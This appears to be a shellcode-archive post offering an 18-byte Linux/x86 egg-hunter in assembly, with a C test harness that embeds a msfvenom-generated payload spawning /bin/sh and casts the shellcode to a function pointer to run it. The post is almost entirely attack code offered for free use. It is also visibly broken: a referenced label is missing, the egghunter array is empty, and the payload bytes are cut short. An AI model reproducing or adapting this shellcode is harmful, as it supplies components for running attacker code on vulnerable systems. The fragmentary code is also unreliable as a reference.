Linux/x86 Egg-Hunter Shellcode

18 bytes small Linux/x86 egg-hunter shellcode.

MD5 | 55237a6e0bf93ca13c7290f3ff373598

// Description: a 18 bytes egg hunter on contigous memory segments
// You are free to do whatever you want of this shellcode
// @phackt_ul
global _start

section .text

mov eax, _start ; we set a valid .text address into eax
mov ebx, dword 0x50905091 ; we can avoid an 8 bytes tag in egg if the tag
dec ebx ; can not be found in the egg hunter, that's why we decrement to look for
; 0x50905090 - push eax, nop, push eax, nop


inc eax
cmp dword [eax], ebx ; do we found the tag ?
jne next_addr
jmp eax ; yes we do so we jump to the egg
#include <stdio.h>
#include <string.h>

unsigned char egghunter[] = \

unsigned char egg[] = \
"\x90\x50\x90\x50" // egg mark - do not remove
"\xbd\x64\xb2\x0c\xf4\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" // msfvenom -p linux/x86/exec CMD=/bin/sh -f c -b \x00

void main()

printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
printf("Egg shellcode Length: %d\n", strlen(egg));

int (*ret)() = (int(*)())egghunter;



Related Posts